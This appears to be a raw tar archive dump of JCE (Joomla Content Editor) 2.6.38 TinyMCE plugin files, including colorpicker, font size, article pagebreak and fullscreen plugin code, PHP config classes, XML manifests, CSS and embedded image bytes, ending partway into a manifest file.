!function(tinyMCEPopup,Wf,$){function init(){var ed=tinyMCEPopup.editor;Wf.init(),ed.updateSearchButtonStates.add(function(o){$.each(o,function(k,v){$("#"+k).prop("disabled",!!v)})}),$("#find").click(function(e){e.preventDefault(),ed.execCommand("mceSearch",!1,{textcase:$("#matchcase").is(":checked"),text:$("#search_string").val(),wholeword:$("#wholewords").is(":checked")})}),$("#next").click(function(e){e.preventDefault(),ed.execCommand("mceSearchNext",!1)}),$("#prev").click(function(e){e.preventDefault(),ed.execCommand("mceSearchPrev",!1)}),$("#replace").click(function(e){e.preventDefault();var value=$("#replace_string").val();ed.execCommand("mceReplace",!1,value)}),$("#replaceAll").click(function(e){e.preventDefault();var value=$("#replace_string").val();ed.execCommand("mceReplaceAll",!1,value)}),ed.windowManager.onClose.add(function(){ed.execCommand("mceSearchDone",!1)}),$("#search_string").val(tinyMCEPopup.getWindowArg("search_string")),$("#search_string").focus()}$(window).ready(init)}(tinyMCEPopup,Wf,jQuery);editor/tiny_mce/plugins/colorpicker/index.html000060400000000054150750527140015634 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/colorpicker/colorpicker.php000060400000001056150750527140016667 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
require_once dirname(__FILE__).'/classes/colorpicker.php';

$plugin = new WFColorpickerPlugin();
$plugin->execute();
editor/tiny_mce/plugins/colorpicker/css/index.html000060400000000054150750527140016424 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/colorpicker/css/colorpicker.css000060400000000064150750527140017456 0ustar00#colorpicker_picker div.farbtastic{margin:10px auto}editor/tiny_mce/plugins/colorpicker/tmpl/index.html000060400000000054150750527140016610 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/colorpicker/tmpl/default.php000060400000005072150750527140016755 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
<div id="colorpicker">
    <div id="colorpicker_tabs">
        <ul class="uk-tab">
            <li class="uk-active"><a href="#colorpicker_picker" aria-controls="colorpicker_picker"><?php echo WFText::_('WF_COLORPICKER_PICKER'); ?></a></li>
            <li><a href="#colorpicker_web" aria-controls="colorpicker_web"><?php echo WFText::_('WF_COLORPICKER_PALETTE'); ?></a></li>
            <li><a href="#colorpicker_named" aria-controls="colorpicker_named"><?php echo WFText::_('WF_COLORPICKER_NAMED'); ?></a></li>
            <li><a href="#colorpicker_template" aria-controls="colorpicker_template"><?php echo WFText::_('WF_COLORPICKER_TEMPLATE'); ?></a></li>
        </ul>
        <div id="tab-content" class="uk-switcher">
            <div id="colorpicker_picker" title="<?php echo WFText::_('WF_COLORPICKER_PICKER'); ?>" data-type="picker" class="uk-active"><!-- Will be filled with color wheel --></div>
            <div id="colorpicker_web" title="<?php echo WFText::_('WF_COLORPICKER_PALETTE'); ?>" data-type="web"><!-- Gets filled with web safe colors--></div>
            <div id="colorpicker_named" title="<?php echo WFText::_('WF_COLORPICKER_NAMED'); ?>" data-type="named"><!-- Gets filled with named colors--></div>
            <div id="colorpicker_template" title="<?php echo WFText::_('WF_COLORPICKER_TEMPLATE'); ?>" data-type="template"><!-- Gets filled with template colors--></div>
        </div>
    </div>
<input type="hidden" id="tmp_color" />
</div>
<div class="mceActionPanel uk-modal-footer">
  <div id="colorpicker_preview">
      <div id="colorpicker_preview_text" class="uk-form-icon uk-form-icon-both">
          <i class="uk-icon-hashtag"></i>
          <input type="text" id="colorpicker_color" size="8" maxlength="8" value="000000" aria-required="true" />
          <span class="uk-icon-none" id="colorpicker_preview_color" style="background-color: rgb(0, 0, 0);"></span>
      </div>
  </div>

    <button type="button" class="uk-button uk-button-primary" id="colorpicker_insert" onclick="ColorPicker.insert();"><i class="uk-icon-check"></i><?php echo WFText::_('WF_LABEL_APPLY'); ?></button>
</div>editor/tiny_mce/plugins/colorpicker/editor_plugin.js000060400000001353150750527140017044 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){tinymce.create("tinymce.plugins.ColorPicker",{init:function(ed,url){this.editor=ed,ed.addCommand("mceColorPicker",function(ui,v){ed.windowManager.open({url:ed.getParam("site_url")+"index.php?option=com_jce&view=editor&plugin=colorpicker",width:365+parseInt(ed.getLang("advanced.colorpicker_delta_width",0)),height:320+parseInt(ed.getLang("advanced.colorpicker_delta_height",0)),close_previous:!1,inline:!0,popup_css:!1},{input_color:v.color,func:v.func})})}}),tinymce.PluginManager.add("colorpicker",tinymce.plugins.ColorPicker)}();editor/tiny_mce/plugins/colorpicker/js/colorpicker.js000060400000002122150750527140017123 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
var ColorPicker={settings:{},init:function(){var ed=tinyMCEPopup.editor,color=tinyMCEPopup.getWindowArg("input_color")||"#FFFFFF",doc=ed.getDoc(),stylesheets=[];doc.styleSheets.length&&$.each(doc.styleSheets,function(i,s){s.href&&s.href.indexOf("tiny_mce")==-1&&stylesheets.push(s)}),$("#tmp_color").val(color).colorpicker($.extend(this.settings,{dialog:!0,stylesheets:stylesheets,custom_colors:ed.getParam("colorpicker_custom_colors")})).on("colorpicker:insert",function(){return ColorPicker.insert()}).on("colorpicker:close",function(){return tinyMCEPopup.close()}),$("button#insert").button({icons:{primary:"uk-icon-check"}}),$("#jce").css("display","block")},insert:function(){var color=$("#colorpicker_color").val(),f=tinyMCEPopup.getWindowArg("func");color&&(color="#"+color),tinyMCEPopup.restoreSelection(),f&&f(color),tinyMCEPopup.close()}};tinyMCEPopup.onInit.add(ColorPicker.init,ColorPicker);editor/tiny_mce/plugins/colorpicker/js/index.html000060400000000054150750527140016250 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/colorpicker/classes/config.php000060400000001554150750527140017260 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFColorpickerPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFEditor::getInstance();

        $colours = $wf->getParam('colorpicker.custom_colors', '');

        if (empty($colours)) {
            $colours = $wf->getParam('editor.custom_colors', '');
        }

        $colours = array_map('trim', explode(',', $colours));

        $settings['colorpicker_custom_colors'] = $colours;
    }
}
editor/tiny_mce/plugins/colorpicker/classes/index.html000060400000000054150750527140017271 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/colorpicker/classes/colorpicker.php000060400000001673150750527140020331 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('WF_EDITOR') or die('RESTRICTED');

require_once WF_EDITOR_LIBRARIES.'/classes/plugin.php';

class WFColorpickerPlugin extends WFEditorPlugin
{
    public function __construct()
    {
        parent::__construct(array('colorpicker' => true));
    }

    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();

        $document->addScript(array('colorpicker'), 'plugins');
        $document->addStyleSheet(array('colorpicker'), 'plugins');
    }
}
editor/tiny_mce/plugins/fontsizeselect/fontsizeselect.xml000060400000001561150750527140020153 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="fontsizeselect" core="1" editable="1">
    <name>WF_FONTSIZESELECT_TITLE</name>
    <version>2.6.38</version>
    <creationDate>14-03-2019</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_FONTSIZESELECT_DESC</description>
    <icon>fontselect</icon>
    <params group="standard">
        <param name="font_sizes" type="text" size="100" default="" placeholder="eg: 8pt,10pt,12pt,14pt,18pt,24pt,36pt" label="WF_PARAM_FONT_SIZES" description="WF_PARAM_FONT_SIZES_DESC" />
    </params>
    <help></help>
    <languages></languages>
</install>editor/tiny_mce/plugins/fontsizeselect/classes/config.php000060400000001354150750527140020003 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFFontsizeselectPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFEditor::getInstance();

        $settings['fontsizeselect_font_sizes'] = $wf->getParam('fontsizeselect.font_sizes', '8pt,10pt,12pt,14pt,18pt,24pt,36pt', '8pt,10pt,12pt,14pt,18pt,24pt,36pt');
    }
}
editor/tiny_mce/plugins/fontsizeselect/classes/index.html000060400000000054150750527140020016 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/fontsizeselect/index.html000060400000000054150750527140016361 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/fontsizeselect/editor_plugin.js000060400000005244150750527140017574 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var each=(tinymce.DOM,tinymce.dom.Event,tinymce.extend,tinymce.each);tinymce.util.Cookie,tinymce.explode;tinymce.create("tinymce.plugins.FontSizeSelectPlugin",{sizes:[8,10,12,14,18,24,36],init:function(ed,url){var self=this;this.editor=ed;var s=ed.settings;if(s.font_size_style_values||(s.font_size_style_values="8pt,10pt,12pt,14pt,18pt,24pt,36pt"),s.theme_advanced_font_sizes=ed.getParam("fontsizeselect_font_sizes","8pt,10pt,12pt,14pt,18pt,24pt,36pt"),tinymce.is(s.theme_advanced_font_sizes,"string")){s.font_size_style_values=tinymce.explode(s.font_size_style_values),s.font_size_classes=tinymce.explode(s.font_size_classes||"");var o={};ed.settings.theme_advanced_font_sizes=s.theme_advanced_font_sizes,each(ed.getParam("theme_advanced_font_sizes","","hash"),function(v,k){var cl;k==v&&v>=1&&v<=7&&(k=v+" ("+self.sizes[v-1]+"pt)",cl=s.font_size_classes[v-1],v=s.font_size_style_values[v-1]||t.sizes[v-1]+"pt"),/^\s*\./.test(v)&&(cl=v.replace(/\./g,"")),o[k]=cl?{class:cl}:{fontSize:v}}),s.theme_advanced_font_sizes=o}ed.onNodeChange.add(function(ed,cm,n,collapsed,o){var fv,c=cm.get("fontsizeselect");c&&n&&each(o.parents,function(n){if(n.style&&(fv=n.style.fontSize||ed.dom.getStyle(n,"fontSize"),cl=ed.dom.getAttrib(n,"class",""),c.select(function(v){return!(!v.fontSize||v.fontSize!==fv)||(!(!v.class||v.class!==cl)||void 0)}),fv))return!1})})},createControl:function(n,cf){if("fontsizeselect"===n)return this._createSizeFontSelect()},_createSizeFontSelect:function(){var c,self=this,ed=self.editor,i=0;return c=ed.controlManager.createListBox("fontsizeselect",{title:"advanced.font_size",onselect:function(v){var cur=c.items[c.selectedIndex];return!v&&cur?(cur=cur.value,void(cur.class?(ed.formatter.toggle("fontsize_class",{value:cur.class}),ed.undoManager.add(),ed.nodeChanged()):ed.execCommand("FontSize",!1,cur.fontSize))):(v.class?(ed.focus(),ed.undoManager.add(),ed.formatter.toggle("fontsize_class",{value:v.class}),ed.undoManager.add(),ed.nodeChanged()):ed.execCommand("FontSize",!1,v.fontSize),c.select(function(sv){return v==sv}),cur&&(cur.value.fontSize==v.fontSize||cur.value.class&&cur.value.class==v.class)&&c.select(null),!1)}}),c&&each(ed.settings.theme_advanced_font_sizes,function(v,k){var fz=v.fontSize;fz>=1&&fz<=7&&(fz=self.sizes[parseInt(fz)-1]+"pt");var lh=Math.max(12,parseInt(fz));c.add(k,v,{style:"font-size:"+fz+";line-height:"+lh+"pt",class:"mceFontSize"+i++ +(" "+(v.class||""))})}),c}}),tinymce.PluginManager.add("fontsizeselect",tinymce.plugins.FontSizeSelectPlugin)}();editor/tiny_mce/plugins/article/editor_plugin.js000060400000015362150750527140016160 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var DOM=tinymce.DOM,each=(tinymce.dom.Event,tinymce.each),VK=(tinymce.html.Node,tinymce.VK),BACKSPACE=VK.BACKSPACE,DELETE=VK.DELETE;tinymce.create("tinymce.plugins.ArticlePlugin",{init:function(ed,url){function isReadMore(n){return ed.dom.is(n,"hr.mce-item-readmore")}function isPageBreak(n){return ed.dom.is(n,"hr.mce-item-pagebreak")}function _cancelResize(){each(ed.dom.select("hr.mce-item-pagebreak, hr.mce-item-readmore"),function(n){n.onresizestart=function(){return!1},n.onbeforeeditfocus=function(){return!1}})}var t=this;t.editor=ed,t.url=url,ed.addCommand("mceReadMore",function(){return ed.dom.get("system-readmore")?(alert(ed.getLang("article.readmore_alert","There is already a Read More break inserted in this article. Only one such break is permitted. Use a Pagebreak to split the page up further.")),!1):void t._insertBreak("readmore",{id:"system-readmore"})}),ed.addCommand("mcePageBreak",function(ui,v){var n=ed.selection.getNode();isPageBreak(n)?t._updatePageBreak(n,v):t._insertBreak("pagebreak",v)}),ed.getParam("article_show_readmore",!0)&&ed.addButton("readmore",{title:"article.readmore",cmd:"mceReadMore"}),ed.onInit.add(function(){ed.settings.compress.css||ed.dom.loadCSS(url+"/css/content.css"),ed.theme&&ed.theme.onResolveName&&ed.theme.onResolveName.add(function(theme,o){var v,n=o.node;n&&"HR"===n.nodeName&&/mce-item-pagebreak/.test(n.className)&&(v="pagebreak"),n&&"HR"===n.nodeName&&/mce-item-readmore/.test(n.className)&&(v="readmore"),v&&(o.name=v)})}),ed.onNodeChange.add(function(ed,cm,n){cm.setActive("readmore",isReadMore(n)),cm.setActive("pagebreak",isPageBreak(n)),ed.dom.removeClass(ed.dom.select("hr.mce-item-pagebreak.mce-item-selected, hr.mce-item-readmore.mce-item-selected"),"mce-item-selected"),(isPageBreak(n)||isReadMore(n))&&ed.dom.addClass(n,"mce-item-selected")}),ed.onBeforeSetContent.add(function(ed,o){o.content=o.content.replace(/<hr([^>]*)alt="([^"]+)"([^>]+)>/gi,'<hr$1data-mce-alt="$2"$3>')}),ed.onPostProcess.add(function(ed,o){o.get&&(o.content=o.content.replace(/<hr([^>]*)data-mce-alt="([^"]+)"([^>]+)>/gi,'<hr$1alt="$2"$3>'))}),ed.onSetContent.add(function(){tinymce.isIE&&_cancelResize()}),ed.onGetContent.add(function(){tinymce.isIE&&_cancelResize()}),ed.onKeyDown.add(function(ed,e){if(e.keyCode==BACKSPACE||e.keyCode==DELETE){var s=ed.selection,n=s.getNode();ed.dom.is(n,"hr.mce-item-pagebreak, hr.mce-item-readmore")&&(ed.dom.remove(n),e.preventDefault())}}),ed.onPreInit.add(function(){ed.parser.addNodeFilter("hr",function(nodes){for(var i=0;i<nodes.length;i++){var node=nodes[i],id=node.attr("id")||"",cls=node.attr("class")||"";if("system-readmore"==id||/system-pagebreak/.test(cls)){var cls=/system-pagebreak/.test(cls)?"mce-item-pagebreak":"mce-item-readmore";node.attr("class",cls),node.attr("alt")&&(node.attr("data-mce-alt",node.attr("alt")),node.attr("alt",null))}}}),ed.serializer.addNodeFilter("hr",function(nodes,name,args){for(var i=0;i<nodes.length;i++){var node=nodes[i],cls=node.attr("class")||"";/mce-item-(pagebreak|readmore)/.test(cls)&&(/mce-item-pagebreak/.test(node.attr("class"))?node.attr("class","system-pagebreak"):(node.attr("class",null),node.attr("id","system-readmore")),node.attr("data-mce-alt")&&(node.attr("alt",node.attr("data-mce-alt")),node.attr("data-mce-alt",null)))}})})},_getPageBreak:function(){var o,ed=this.editor,n=(ed.dom,ed.selection.getNode());return ed.dom.is(n,"hr.mce-item-pagebreak")&&(o={title:ed.dom.getAttrib(n,"title",""),alt:ed.dom.getAttrib(n,"data-mce-alt","")}),o},_updatePageBreak:function(n,v){var ed=this.editor;tinymce.extend(v,{"data-mce-alt":v.alt||""}),v.alt=null,ed.dom.setAttribs(n,v)},_insertBreak:function(s,args){var ns,h,hr,p,ed=this.editor,dom=ed.dom,n=ed.selection.getNode(),blocks="H1,H2,H3,H4,H5,H6,P,DIV,ADDRESS,PRE,FORM,TABLE,OL,UL,CAPTION,BLOCKQUOTE,CENTER,DL,DIR,FIELDSET,NOSCRIPT,NOFRAMES,MENU,ISINDEX,SAMP,SECTION,ARTICLE,HGROUP,ASIDE,FIGURE";n=dom.getParent(n,blocks,"BODY")||n,tinymce.extend(args,{class:"pagebreak"==s?"mce-item-pagebreak":"mce-item-readmore","data-mce-alt":args.alt||null}),args.alt=null,"readmore"==s&&(args.id="system-readmore"),ed.execCommand("mceInsertContent",!1,'<span id="mce_hr_marker" data-mce-type="bookmark">\ufeff</span>',{skip_undo:1});var marker=dom.get("mce_hr_marker"),hr=dom.create("hr",args);if(dom.isBlock(n)){if(p=dom.getParent(marker,blocks,"BODY"),"P"==p.nodeName||"DIV"==p.nodeName)dom.split(p,marker),ns=marker.nextSibling,ns&&ns.nodeName==p.nodeName&&(/^(\s|&nbsp;|\u00a00)*?$/.test(h)||"<br>"==h)&&dom.remove(ns);else for(p?"BODY"==p.parentNode.nodeName?dom.insertAfter(marker,p):p.parentNode.insertBefore(marker,p):"BODY"==n.parentNode.nodeName?dom.insertAfter(marker,n):n.parentNode.insertBefore(marker,n),p=marker.parentNode;/^(H[1-6]|ADDRESS|PRE|FORM|TABLE|OL|UL|CAPTION|BLOCKQUOTE|CENTER|DL|DIR|FIELDSET|NOSCRIPT|NOFRAMES|MENU|ISINDEX|SAMP)$/.test(p.nodeName);)p.parentNode.insertBefore(marker,p),p=marker.parentNode;if(ns=marker.nextSibling,!ns){var el=ed.getParam("forced_root_block")||"br";ns=ed.dom.create(el),"br"!=el&&(ns.innerHTML=" "),ed.dom.insertAfter(ns,marker),s=ed.selection.select(ns),ed.selection.collapse(1)}}ed.dom.replace(hr,marker),ed.undoManager.add()},createControl:function(n,cm){var self=this,ed=this.editor;switch(n){case"pagebreak":if(ed.getParam("article_show_pagebreak",!0)){var content=DOM.create("div",{},"<h4>"+ed.getLang("article.pagebreak","Insert / Edit Pagebreak")+"</h4>"),n=DOM.add(content,"div");DOM.add(n,"label",{for:ed.id+"_title"},ed.getLang("article.title","Title"));var title=DOM.add(n,"input",{type:"text",id:ed.id+"_title"});n=DOM.add(content,"div"),DOM.add(n,"label",{for:ed.id+"_alt"},ed.getLang("article.alias","Alias"));var alt=DOM.add(n,"input",{type:"text",id:ed.id+"_alt"}),c=new tinymce.ui.ButtonDialog(cm.prefix+"pagebreak",{title:ed.getLang("article.pagebreak","Insert / Edit Pagebreak"),class:"mce_pagebreak",dialog_class:ed.getParam("skin")+"Skin",content:content,width:250,buttons:[{title:ed.getLang("common.insert","Insert"),id:"insert",click:function(e){return ed.execCommand("mcePageBreak",!1,{title:title.value,alt:alt.value}),!0},scope:self}]},ed);return c.onShowDialog.add(function(){var title=DOM.get(ed.id+"_title"),alt=DOM.get(ed.id+"_alt");title.value=alt.value="";var label=ed.getLang("common.insert","Insert"),o=self._getPageBreak(),active=!1;o&&(title.value=o.title||"",alt.value=o.alt||"",label=ed.getLang("common.update","Update"),active=!0),c.setActive(active),c.setButtonLabel("insert",label),title.focus()}),c.onHideDialog.add(function(){title.value=alt.value=""}),ed.onRemove.add(function(){c.destroy()}),cm.add(c)}}return null}}),tinymce.PluginManager.add("article",tinymce.plugins.ArticlePlugin)}();editor/tiny_mce/plugins/article/index.html000060400000000054150750527140014743 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/article/article.xml000060400000003670150750527140015122 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="article" core="1" editable="1">
    <name>WF_ARTICLE_TITLE</name>
    <version>2.6.38</version>
    <creationDate>14-03-2019</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_ARTICLE_DESC</description>
    <icon>readmore,pagebreak</icon>
    <params group="standard">
        <!--param name="show_readmore" type="list" default="1" label="WF_ARTICLE_PARAM_SHOW_READMORE" description="WF_ARTICLE_PARAM_SHOW_READMORE_DESC">
            <option value="0">WF_OPTION_NO</option>
            <option value="1">WF_OPTION_YES</option>
        </param>
        <param name="show_pagebreak" type="list" default="1" label="WF_ARTICLE_PARAM_SHOW_PAGEBREAK" description="WF_ARTICLE_PARAM_SHOW_PAGEBREAK_DESC">
            <option value="0">WF_OPTION_NO</option>
            <option value="1">WF_OPTION_YES</option>
        </param-->
        <!--param name="hide_xtd_btns" type="radio" default="0" label="WF_ARTICLE_PARAM_HIDE_BUTTONS" description="WF_ARTICLE_PARAM_HIDE_BUTTONS_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param-->
    </params>
    <params group="buttons">
            <param name="buttons" class="checklist buttonlist" type="list" multiple="multiple" default="readmore,pagebreak" label="WF_PARAM_BUTTONS" description="WF_PARAM_BUTTONS_DESC">
                <option value="readmore">WF_ARTICLE_READMORE</option>
                <option value="pagebreak">WF_ARTICLE_PAGEBREAK</option>
            </param>
        </params>
    <help>
        <topic key="article.about" title="WF_ARTICLE_HELP_ABOUT" />
    </help>
    <languages></languages>
</install>editor/tiny_mce/plugins/article/classes/config.php000060400000001524150750527140016364 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFArticlePluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFEditor::getInstance();

        //$settings['article_hide_xtd_btns'] 	= $wf->getParam('article.hide_xtd_btns', 0, 0);
        $settings['article_show_readmore'] = $wf->getParam('article.show_readmore', 1, 1);
        $settings['article_show_pagebreak'] = $wf->getParam('article.show_pagebreak', 1, 1);
    }
}
editor/tiny_mce/plugins/article/classes/index.html000060400000000054150750527140016400 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/article/css/index.html000060400000000054150750527140015533 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/article/css/content.css000060400000001256150750527140015727 0ustar00.mce-item-pagebreak,.mce-item-readmore{display:inline-block;padding:0 2px;margin:0;border:1px dashed #ccc;background-color:#fafafa;background-repeat:no-repeat;background-position:center;height:20px;width:99%;font-size:0;line-height:0;letter-spacing:normal;word-spacing:normal;cursor:pointer}.mce-item-readmore{background-image:url(../img/readmore.png);clear:both}.mce-item-pagebreak{background-image:url(../img/pagebreak.png);clear:both}.mce-item-pagebreak.mce-item-selected,.mce-item-readmore.mce-item-selected{background-color:#d9edf7;border-color:#31708f}.mce-item-pagebreak:after{content:attr(title);color:#444;font-size:12px;line-height:20px;padding:0 5px;display:block;float:left}editor/tiny_mce/plugins/article/img/index.html000060400000000054150750527140015517 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/article/img/readmore.png000060400000000565150750527140016035 0ustar00�PNG


IHDR��
<IDAT8��=N�@�߮��1
Uj
*�s.�&='�H	)|����R���do��34��V�(6R*^���}��]�_�
f>��Yk�4�Xkwi�~,��/���~��X,^&���{���	DDf>�L�@�F�AY��E�
��k�t��BD���ރ�Ozf�Eq8h��<��0���z��ED���O"�"�s:��GZk8�t\�4��!աi�ȉ�u�7�Mo`��(�ϟΧ(��h�J�v$[k�Q�Z�ig�!���F`Y�f(����'˲gc���s����1Zu��@=�����*�O-1��IEND�B`�editor/tiny_mce/plugins/article/img/trans.gif000060400000000053150750527140015337 0ustar00GIF89a�!�,D;editor/tiny_mce/plugins/article/img/pagebreak.png000060400000001314150750527140016151 0ustar00�PNG


IHDR��
sBIT|d�	pHYs
�
�B�4�tEXtCreation Time11/12/10�r<0tEXtSoftwareAdobe FireworksO�N(IDAT8�Ք;o�1�ߒ�	�DE�(�J0�D�
	�3K��K�P�;3�ɂ����K��4i���6C�UM�p��.>���~ϱ�RJ�Rz���h���lN7�K��%�
�o�wkkkIEQJ-���x��t��5N$�)��$�VXkq�b��Z�s�n�?���>^__�j��=����x{yr��Dc�6Ơ�����[kb�
�e@-//��������^�����2Rq�Z�e��% !�����14&�n��?���ff�09=��^RW�P���n��<��5)ERڥV�����-]�,"*�8h�%�@���cgCN��w�U�At����k�Hp���B��je��q��9�3�,�Z��
X�ޫ����^0���7$��?���U�����*k�0G$p~�)E.��
�~?��k���:�����8��~'d���6�u�J�{S��$Ј�q��+�1dYF<����:�$,�n�IB?�z��䜻��v������JD���u:��h��1�)`|ت?H�R�co����_�6/C߷�IEND�B`�editor/tiny_mce/plugins/fullscreen/fullscreen.htm000060400000006454150750527140016353 0ustar00<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<title></title>
	<meta http-equiv="X-UA-Compatible" content="IE=edge" />
	<script type="text/javascript" src="../../tiny_mce.js"></script>
	<script type="text/javascript">
		function patchCallback(settings, key) {
			if (settings[key])
				settings[key] = "window.opener." + settings[key];
		}

		var settings = {}, paSe = window.opener.tinyMCE.activeEditor.settings, oeID = window.opener.tinyMCE.activeEditor.id;

		// Clone array
		for (var n in paSe)
			settings[n] = paSe[n];

		// Override options for fullscreen
		for (var n in paSe.fullscreen_settings)
			settings[n] = paSe.fullscreen_settings[n];

		// Patch callbacks, make them point to window.opener
		patchCallback(settings, 'urlconverter_callback');
		patchCallback(settings, 'insertlink_callback');
		patchCallback(settings, 'insertimage_callback');
		patchCallback(settings, 'setupcontent_callback');
		patchCallback(settings, 'save_callback');
		patchCallback(settings, 'onchange_callback');
		patchCallback(settings, 'init_instance_callback');
		patchCallback(settings, 'file_browser_callback');
		patchCallback(settings, 'cleanup_callback');
		patchCallback(settings, 'execcommand_callback');
		patchCallback(settings, 'oninit');

		// Set options
		delete settings.id;
		settings['mode'] = 'exact';
		settings['elements'] = 'fullscreenarea';
		settings['add_unload_trigger'] = false;
		settings['ask'] = false;
		settings['document_base_url'] = window.opener.tinyMCE.activeEditor.documentBaseURI.getURI();
		settings['fullscreen_is_enabled'] = true;
		settings['fullscreen_editor_id'] = oeID;
		settings['theme_advanced_resizing'] = false;
		settings['strict_loading_mode'] = true;

		settings.save_onsavecallback = function() {
			window.opener.tinyMCE.get(oeID).setContent(tinyMCE.get('fullscreenarea').getContent({format : 'raw'}), {format : 'raw'});
			window.opener.tinyMCE.get(oeID).execCommand('mceSave');
			window.close();
		};

		function unloadHandler(e) {
			moveContent();
		}

		function moveContent() {
			window.opener.tinyMCE.get(oeID).setContent(tinyMCE.activeEditor.getContent());
		}

		function closeFullscreen() {
			moveContent();
			window.close();
		}

		function doParentSubmit() {
			moveContent();

			if (window.opener.tinyMCE.selectedInstance.formElement.form)
				window.opener.tinyMCE.selectedInstance.formElement.form.submit();

			window.close();

			return false;
		}

		function render() {
			var e = document.getElementById('fullscreenarea'), vp, ed, ow, oh, dom = tinymce.DOM;

			e.value = window.opener.tinyMCE.get(oeID).getContent();

			vp = dom.getViewPort();
			settings.width = vp.w;
			settings.height = vp.h - 15;

			tinymce.dom.Event.add(window, 'resize', function() {
				var vp = dom.getViewPort();

				tinyMCE.activeEditor.theme.resizeTo(vp.w, vp.h);
			});

			tinyMCE.init(settings);
		}

		// Add onunload
		tinymce.dom.Event.add(window, "beforeunload", unloadHandler);
	</script>
</head>
<body style="margin:0;overflow:hidden;width:100%;height:100%" scrolling="no" scroll="no">
<form onsubmit="doParentSubmit();">
<textarea id="fullscreenarea" style="width:100%; height:100%"></textarea>
</form>

<script type="text/javascript">
	render();
</script>

</body>
</html>
editor/tiny_mce/plugins/fullscreen/fullscreen.xml000060400000001261150750527140016352 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="fullscreen" core="1" editable="0">
